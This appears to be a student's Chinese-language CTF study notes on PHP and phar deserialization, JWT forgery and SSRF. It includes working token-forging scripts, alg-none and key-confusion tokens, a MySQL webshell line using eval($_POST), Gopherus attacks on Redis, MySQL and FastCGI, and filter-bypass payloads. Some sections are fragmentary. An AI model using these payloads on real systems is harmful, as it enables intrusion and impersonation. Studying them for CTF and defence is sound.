#### __desruct()//对象被销毁时触发, 可以没有new,用highight_file 和is_dir触发 这些都可 ![image-20221011223642039](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011223642039.png) ![image-20221011223712308](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011223712308.png) ![image-20221010181558207](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010181558207.png) ![image-20221010183017339](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010183017339.png) ![image-20221010191658696](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010191658696.png) 1 ![image-20221010194702023](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194702023.png) 只会输出c且输出第三项数组,故改为 ![image-20221010194525255](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194525255.png) 将 ![image-20221010194259222](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194259222.png) 改为 ![image-20221010194327943](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194327943.png) 再将name属性变为system,使得 ![image-20221010194418678](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194418678.png) ![image-20221010194938199](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010194938199.png) 输出system 就可以输出system('ls /') ## 反序列化中的绕过 绕过wakeup方法,将对象数量改为大于真实数量 ### +号绕过正则 不允许输入O:7这种开头,可以在数字前面加个“+”绕过,0:+7 ### 引用绕过 php中也可以
1
2
3
4
5
6
7
8
<?php
function add(&$srt){
$str = "love".$str;
return $str;
}
$a = "you";
add($a);
echo $a;//输出loveyou
因为&将str的地址指向了a,。
1
2
3
4
5
6
7
构造
<?php
public function __construct(){
$this->username="admin";
$this->passward=&$this->secret;
$this->code ="phpinfo();"
}
### 16进制绕过 如果在反序列化后的字符串将s变更为S后,就会将里面的字符按照\xx格式16进制读取,绕过对关键字的检测 ### Exception绕过 ![image-20221010224344206](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010224344206.png) ### 字符串逃逸 ![image-20221010225237057](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010225237057.png) 这时我们用多出来三位如果我们把这三位输入`;"}`就可以完成闭合,这样它后面的属性就被扔掉了 ![image-20221010225552508](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010225552508.png) ![image-20221010230830669](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221010230830669.png) ## phar 可以看看这个 https://blog.csdn.net/weixin_63231007/article/details/125107789?app_version=5.9.0&code=app_1562916241&csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22125107789%22%2C%22source%22%3A%22J1nmu%22%7D&uLinkId=usr1mkqgl919blen&utm_source=app ### phar包含 我们印象中的文件包含
1
include "flag.hpp";
php底层是这么处理的,使用了file协议
1
include "file://flag.php";
那么要使用phar中的文件,也要使用相应的协议
1
include "phar://com.ctfshow.fileUtil.phar/file.php";
phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。 可以将phar文件类比为一个压缩文件 ### phar怎么用 先搞一个flag.php
1
2
<?php
echo "flag={afklglkadjgklda}";
然后
1
2
3
4
5
6
7
8
//index.php
<?php
//建立一个phar包
$phar = new Phar("flag.phar");
//将flag.php放入project文件夹
$phar->buildFromDirectory("./project");
//索引文件index.php flag.phar包含文件flag.php
$phar->setStub($phar->createDefaultStub("index.php","flag.php"));
### phar的反序列化
1
2
3
4
5
6
<?php 
//文件上传
//不让上传php int .htaccess
//phar
file_exists()
这时文件头可控的情况下,我们就可以触发phar协议,把它进行序列化 反序列化来触发
setmetadata会自动反序列化 试试phar反序列化,能否生成
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//
//成功 析构方法输出"hack class"
class hack{
public function __destruct(){
echo "hack class";
}
}
$h = new hack();//实例化
$phar = new Phar('flag.phar');//建立一个包
$phar->buildFromDirectory(dirname(__FILE__).'/project');//放入project文件
$phar->setMetadata($h);;
$phar->setStub($phar->createDefaultStub('flag.php','index.php'));
可以看到析构方法执行 ![image-20221024233641584](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024233641584.png) 下一步,只是将index.php include.php 文件内容交换。就是让上面的代码成为首页 在include.里面写入。类比序列化之后的输出
1
2
3
4
5
6
7
8
9
<?php

class hack{
public function __destruct(){
echo "hack class";
}
}

file_exists("phar://flag.phar");
![image-20221024234026650](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024234026650.png) 可以找到phar反序列化的文件 ![image-20221024234245478](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024234245478.png) 将phar协议去掉就不行了
1
2
3
4
5
6
7
8
9
<?php

class hack{
public function __destruct(){
echo "hack class";
}
}

file_exists("flag.phar");
下面是文件包含的情况,不需要Phar头,不仅执行里面的代码,还会制动反序列化类,还会执行类中的析构方法。
1
2
3
4
5
6
7
8
9
10
11
<?php


class hack{
public function __destruct(){
echo "hack class";
}
}

//file_exists("phar://flag.phar");
include "flag.phar";
![image-20221024234545851](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024234545851.png) C源代码 1900行左右,nnd好像没有
1
https://github.com/php/php-src/blob/master/main/streams/streams.c
![image-20221024235652872](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024235652872.png) 这时候将首页由index.php 换位index.txt,就可以通过phar序列化反序列化类。 ![image-20221024235753994](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024235753994.png) ![image-20221025000002875](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221025000002875.png) 这样也可以执行恶意类的销毁方法,还可以用highlight_file//file_get_contents ![image-20221024235917072](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221024235917072.png) /// phar协议进行包含
1
include "phar://com.ctfshow.fileUtill.phar/file.php";
打包进去一个flag.php 用phar上传文件,正常抓包,发到重发器关闭拦截 改为POST,
1
file=my.phar&content=       //要有my.phar文件
![image-20221011224353656](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011224353656.png) 右键**Paste from filem,**打开my.phar ![image-20221011224533565](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221011224533565.png) 看是否成功 2.00 # 9.0php专题 ## 认识tphp ## tphp的漏洞 ## tphp的漏洞 ## 的反序列化 # JWT https://baobao555.tech/archives/40#1.%E4%BB%80%E4%B9%88%E6%98%AFjwt ## JWT结构 JWT由3部分组成:标头(Header)、有效载荷(Payload)、签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用`.`进行连接形成最终传输的字符串
1
ewogICJhbGciOiAibm9uZSIsCiAgInR5cCI6ICJKV1QiCn0K.ewogICAgInN1YiI6ICIxMjM0NTY3ODkwIiwKICAgICJuYW1lIjogIkppbm11dSIsCiAgICAiYWRtaW4iOiB0cnVlCn0=.SE1BQ1NIQTI1NihiYXNlNjRVcmxFbmNvZGUoaGVhZGVyKSArICIuIiArIGJhc2U2NFVybEVuY29kZShwYXlsb2FkKSwgd2hvYW1pKQ==
### Header `JWT头`是一个描述JWT数据的JSON对象,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。最后,使用Base64 URL算法将上述JSON对象转换为字符串保存
1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}
### Payload `有效载荷`部分,JWT的主体内容部分,也是一个`JSON对象`,包含需要传递的数据。JWT指定七个默认字段供选择
1
2
3
4
5
6
7
iss: 发行人
exp: 到期时间
sub: 主体
aud: 用户
nbf: 在此之前不可用
iat: 发布时间
jti: JWT ID用于标识该JWT
除以上默认字段外,我们还可以自定义私有字段,`一般会把包含用户信息的数据放到payload中`,如下例:
1
2
3
4
5
{
"sub": "1234567890",
"name": "Jinmuu",
"admin": true
}
**注意要考**,默认情况下JWT是未加密的,因为只是采用base64算法,拿到JWT字符串后可以转换回原本的JSON数据,任何人都可以解读其内容,因此不要构建隐私信息字段,比如用户的密码一定不能保存到JWT中,以防止信息泄露。JWT只是适合在网络中传输一些非敏感的信息 ### Signnature `签名哈希`部分是对上面两部分数据签名,需要使用base64编码后的header和payload数据,通过指定的算法生成哈希,以确保数据不会被篡改。首先,需要指定一个密钥(secret)。该密码仅仅为保存在服务器中,并且不能向用户公开。然后,使用header中指定的签名算法(默认情况下为HMAC SHA256)根据以下公式生成签名
1
2
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), whoami)
HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload),secret)
计算出签名哈希后;JWT头,有效载荷和签名哈希的三个部分组合成一个字符串,每个部分用`.`分割就构成了整个JWT对象 ![image-20200912220832713](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20200912220832713.png) 注意JWT每部分的作用,在服务器端接受到客户端发送过来的JWT token之后: `header`和`payload`可以直接利用base64就码出原文,从中获取哈希签名的算法,从`payload`中获取有效数据 `signature`由于使用了不可逆的加密算法,无法解码出原文,它的作用是**校验token有没有被篡改**。服务器端获取`header`中的加密算法之后,利用该算法加上`secretKey`对`header`,`payload`进行加密,比对加密都的数据和客户端发送过来的是否一致。注意`secretKey`只能保存在服务端,而且对于不同的加密算法其含义有所不同,一般对于MD5类型的摘要加密算法,`secretKey`实际上代表队是盐值 ## JWT的种类 其实JWT(JSON Web Token)指的是一种规范,这种规范允许我们使用JWT在两个组织之间传递安全可靠的信息,JWT的具体实现可以分为以下几种:
1
2
3
nonsecure JWT:未经过签名,不安全的JWT
JWS:经过签名的JWT
JWE:payload部分经过加密的JWT
### nonsecure JWT 未经过签名,不安全的JWT。其header部分没有指定签名算法
1
2
3
4
{
"alg": "none",
"typ": "JWT"
}
并且也没有Signature部分 ### JWS JWS ,也就是JWT Signature,其结构就是在之前nonsecure JWT的基础上,在头部声明签名算法,并在最后添加上签名。创建签名,是保证jwt不能被他人随意篡改。我们通常使用的JWT一般都是JWS 为了完成签名,除了用到header信息和payload信息外,还需要算法的密钥,也就是secretKey。加密的算法一般有2类: 对称加密:secretKey指加密密钥,可以生成签名与验签 非对称加密:secretKey指私钥,只用来生成签名,不能用来验签(验签用的是公钥) JWT的密钥或者密钥对,一般统一称为JSON Web Key,也就是JWK 到目前为止,jwt的签名算法有三种: HMAC【哈希消息验证码(对称)】:HS256/HS384/HS512 RSASSA【RSA签名算法(非对称)】(RS256/RS384/RS512) ECDSA【椭圆曲线数据签名算法(非对称)】(ES256/ES384/ES512) ### JWE `payload`部分被加密 ## JWT漏洞 ### 空加密算法(nonsecure JWT) jwt支持空加密算法,可以在header中指定alg为none,这样的花,只要把signature设置为空,即不添加signature字段提交到服务器,任何token都可以通过服务器验证
1
2
3
4
5
6
7
8
9
10
11
12
13
{
"alg": "None",
"typ": "JWT"
}
{
"iss": "jinmu",
"iat": 1664193697,
"exp": 1664200897,
"nbf": 1664193697,
"sub": "admin",
"jti": "fa2fb0a80953bd65a5dfe2afec06048e",
}
在两段编码中间用.隔开
1
ewogICJhbGciOiAiTm9uZSIsCiAgInR5cCI6ICJKV1QiCn0=.ewogICJpc3MiOiAiYWRtaW4iLAogICJpYXQiOiAxNjY3MjI0MjcwLAogICJleHAiOiAxNjY3MjMxNDcwLAogICJuYmYiOiAxNjY3MjI0MjcwLAogICJzdWIiOiAiYWRtaW4iLAogICJqdGkiOiAiOTMyODI0YWU0OTE5MTQ3NmIwNzRlMjllZGVjZjQzMzAiCn0=.
如果您想快速将 NumericDate 转换为日期,可以使用以下 PowerShell 命令执行此操作:
1
2
$numericDate = '1636027948'
([DateTime]('1970,1,1')).AddSeconds($numericDate)
空加密算法是为了调试方便,在生产环境中开启空加密模式,缺少签名保护,攻击者只要把alg字段改成none,就可以在payload中构造身份,伪造用户身份。 ### 密码爆破 我们可以使用`c-jwt-cracker-master`进行JWT密钥爆破 ### 私钥泄露攻击 这里访问`/private.key`就能任意文件下载私钥,但是我们尝试在官网是无法生成的,但是我们可以自己写脚本生成 这里就需要在本地安装node,然后`npm install jsonwebtoken`
1
2
3
4
5
6
7
8
9
const jwt = require("jsonwebtoken");

var fs = require("fs");


var privateKey = fs.readFileSync("private.key");
var token =jwt.sign({user:'admin' },privateKey,{algorithm:'RS256'});

console.log(token);
### 公钥泄露攻击 jwt中最常用的两种算法为HMAC和RSA HMAC是一种对称加密算法,使用相同的密钥进行加解密 RSA是一种非对称加密算法,使用私钥加密,公钥解密 在HMAC和RSA中,都使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token 密钥一般情况下是无法获取的,但是可以获取到公钥,我们可以将加密算法RSA改成HAMC,即将alg字段由RS256改成HS256,同时使用获取到的公钥作为算法的密钥,对token进行签名提交给服务端.服务器会将RSA的公钥作为当前算法(HMAC)的密钥,HMAC公钥和密钥相同,使用HS256算法会对接收到的签名进行验证。
1
2
3
4
5
6
7
8
9
const jwt = require("jsonwebtoken");

var fs = require("fs");


var privateKey = fs.readFileSync("public.key");
var token =jwt.sign({user:'admin' },privateKey,{algorithm:'HS256'});

console.log(token);
但是这里要注意,我们在进行密钥攻击时,一定要用post方式![307afa51c5111551e222c88701a2f22](https://blog-1308152021.cos.ap-beijing.myqcloud.com/image/202209262229683.png) # 题目 ## 空加密 这里补一个知识点 使用URL访问页面时 /admin 表示访问admin.php文件#这里因为没有这个文件,在ctfshow平台被自动跳转到首页 ![image-20221031220909392](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031220909392.png) /admin/表示访问admin /目录下的文件,默认是index.php ![image-20221031220822445](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031220822445.png) ![image-20221031215515833](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031215515833.png) 直接改为
1
2
3
4
{
"alg": "None",
"typ": "JWT"
}
1
2
3
4
5
6
7
8
{
"iss": "admin",
"iat": 1667224270,
"exp": 1667231470,
"nbf": 1667224270,
"sub": "admin",
"jti": "932824ae49191476b074e29edecf4330"
}
然后base64编码 ## 密码爆破 就是对密钥进行猜测 ![image-20221031215925174](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221031215925174.png) modprobe kvm ## 私钥泄露 ### 利用公钥私钥解密 访问/private.key /public.key
1
https://f86be22f-fd82-48a7-a764-23d8f76ecd98.challenge.ctf.show//private.key
### 利用私钥生成公钥 js脚本
1
2
3
4
5
6
7
8
9
const jwt = require("jsonwebtoken");
var fs = require("fs");



var privateKey = fs.readFileSync("private.key");
var token = jwt.sign({user:'admin'},privateKey,{algorithm:'RS256'});

console.log(token);
脚本
1
2
3
4
5
6
7
# python3
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.AH4YkjLWhtkoxco48abhQ7MUfxBgyfP3OffsS6cZmHtfLpVlv9t8bZAnW-CVbLkHfu4vzQI_OiPdBQP-a3xJIOq3hf0jsMAsijn-XKaaDZtv3cg4a0RvjpEHLYCN89KpigGHC0vtOb6OzffdmkPVN8vcYJby742vD_YhDDHw6pU
## 公钥泄露攻击 ![image-20221101091552872](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221101091552872.png) 在HMAC和RSA中,都使用私钥对signature字段进行签名,只有拿到了,加密时的私钥才有可能伪造token。 密钥一般情况下是无法直接获取到的,但是如果可以获取到公钥 2.54.28 # XXE ![image-20221109174007978](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109174007978.png)
1
2
3
4
5
6
7
8
9
from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
return "hello world"

if __name__ == "__main__":
app.run()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 开发时间:2022/11/6 18:15
from flask import Flask
from flask import request
app = Flask(__name__)

@app.route('/')
def index():
return "Index Page"

@app.route("/hello",methods=['POST'])
def hello():
name = request.form['name']
return f'hello {name}'

if __name__ == "__main__":
app.run(host="0.0.0.0",port=80)
## flask调试模式 ![image-20221109211603159](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109211603159.png) 调试时可以访问/console 要PIN ![image-20221109211725653](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109211725653.png) 这里有 ![image-20221109211716323](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221109211716323.png) flask静态文件 flask模板 # SSRF(服务器伪造请求) 有服务端发送 ## ssrf基础 ![image-20221119212127399](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221119212127399.png) ### SSRF的产生 SSRF是一种由攻击者构造形成,由服务daunt发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统(正是因为他有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统) ### SSRF的危害 1,可以对外网服务器所在的内网,某些情况下端口的Banner会回显出来。 2,攻击运行在内网或者本地的应用程序。 3,对内网web应用进行指纹识别。 4,攻击内外网的web应用。 5,利用file协议读取本地文件等。 ## 危害与利用 ### 端口扫描(不会) 对外网、服务器所在内网、本地、进行端口扫描 ### 攻击内网、本地漏洞服务(不会) 攻击运行在内网或本地的应用程序(溢出、弱口令) ### 利用Gopher协议拓展攻击面 内网Web应用指纹识别、攻击漏洞应用 访问默认文件,对内网web应用进行指纹识别(框架,平台,模块以及CMS等 ) 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(如struts2,sqli等); 第一步,应用指纹识别---->第二步,寻找漏洞----->第三步,漏洞利用 ### 文件读取 读取本地文件,利用file协议读取本地文件,提交参数等。 ## 防护与绕过 ### 防护 使用正则表达式的方式对SSRF中的请求地址进行过滤 eg:限制请求特定域名、禁止请求内网IP。 ### 绕过 #### 方式一:使用特殊格式绕过
1
2
htttp://example.com@evil.com
//ttt是特殊格式?
#### 方法二:IP地址转换为进制及IP地址省略绕过 原始:地址127.0.0.1 八进制:0177.00.00.01 十进制:2130706433 十六进制:0x7f.0x0.0x0.0x1 IP地址省略写法:127.1 #### 方法三:域名的配置 有可控域名A,将域名A记录指向欲请求的IP进行绕过操作 evil.example.com => 10.10.11.11 ## 相关函数和类 - file_get_contents (): 将整个文件或一个 url 所指向的文件读入一个字符串中 - readfile (): 输出一个文件的内容 - fsockopen (): 打开一个网络连接或者一个 Unix 套接字连接 - curl_exec (): 初始化一个新的会话,返回一个 cURL 句柄,供 curl_setopt () curl_exec () 和 curl_close () 函数使用 - fopen (): 打开一个文件或者 url - PHP 原生类 soapclient 在触发反序列化时可导致 ssrf ## 相关协议 file协议: 在有回显的情况下,利用file协议可以读取任意文件的内容 dict 协议:泄露安装软件版本信息,查看端口,操作内网任意端口访问相应的文件 gopher 协议:gopher支持发出get post 请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议,(俗称万能协议)可以用于反弹shell http/s 协议:探测内网主机存活 ## 利用方式 让服务端去访问相应的网址 让服务端取访问自己所出内网的一些指纹文件来判断是否存在相应的cms 可以使用file dict gopher ftp 协议进行请求访问相应的文件 攻击内网web应用(可以向内部任意主机的任意端口发送精心构造的数据包{payload}) 攻击内网应用程序(利用跨协议通讯技术) 判断内网主机是否存活:方法是看是否有端口开放 Dos攻击(请求大文件,始终保持连接keep-alive-always) **例题**![image-20221119220724707](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221119220724707.png) ![image-20221119220720129](https://jinmu-1313986858.cos.ap-beijing.myqcloud.com/image-20221119220720129.png) 首先会询问是反弹shell还是PHPshell,这里我们选PHPshell 要一个默认地址,我们直接默认就好回车 然后要一个payload,我们写入,并且给出了文件名/shell.php

然后给了我们payload我们可以取发包了,但是注意我们这里要进行二次编码,为什么呢?

1
因为他进行了两次解码,我们在发送到redis要经过一个服务器的转发,比如这里是nginx转发,在我们传输到nginx时就进行了一次url解码,再发送给redis时,又进行了一次解码,所以我们要进行两次编码.

攻击MYSQL 3306端口

MYSQL分为客户端和服务端,由客户端连接服务器有四种方式,分别是

  • unix套接字
  • 内存共享
  • 命令管道
  • TCP/IP套接字

我们进行攻击依靠第四种方式,Mysql客户端连接时,有两种情况:

里攻击MySQL要在非交互条件下进行,一定只能攻击没有密码的的MySQL服务端

这里我们写马要用MySQL语句写

1
python.exe ./Gopherus-master/gopherus.py --exploit mysql
1
select "<?php eval($_POST[1]);" into outfile '/var/www/html/1.php';

image-20220923223307726

攻击fastcgi的9000端口

astcgi其实是一个通信协议,和http协议一样,都是进行数据交换的一个通道.http协议是浏览器和服务器中间件进行数据交换的协议,浏览器将http头和http体用某个规则组装成数据包,以tcp的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以http协议的规则打包返回给服务器.

可以使用伪造的fastcgi协议数据,与php-fpm交互,通过伪造script_filename的参数,来实现执行任意的PHP脚本文件

ssrf->控制服务端脚本请求本地php-fpm端口->伪造配置参数包含php://input数据->执行php://input内提交的代码

这里还是使用gopherus

image-20220925161538070

ssrf的绕过

使用enclosed alphanumerics绕过数字限制

1
2
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

比如我们访问127.0.0.1可以访问

1
127.⓿.⓿.1

但是我没ping出来image-20221119232928176

IP地址有一些特殊的写法,在Windows下,0代表0.0.0.0,而在Linux下,0代表的是127.0.0.1

127.⓿.⓿.1

可以忽略0.0.

1
ping 127.0.1
1
ping 127.1

IP地址进制绕过

IP地址可以转int也可以转不同进制来表示

比如我们使用这个http://www.tbfl.store/net/ip.html 来转一下127.0.0.1image-20221119233146083

image-20221119233137969

这里我只有后面两个成功了

302跳转

这个没懂

需要一个vps,把302转换的代码部署到vps上,然后去访问,就可以跳转到内网中,比如302.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];

if(empty($port)){

header("Location: $schema://$ip/$query");

}else{
header("Location: $schema://$ip:$port/$query");
}

如果服务器跟踪了location字段,就可以自动转向

短网址绕过

网上有很多转换短网址的工具随便百度一个就有

比如说http://charmersix.icu/转换成http://jj6m.cn/e0fSu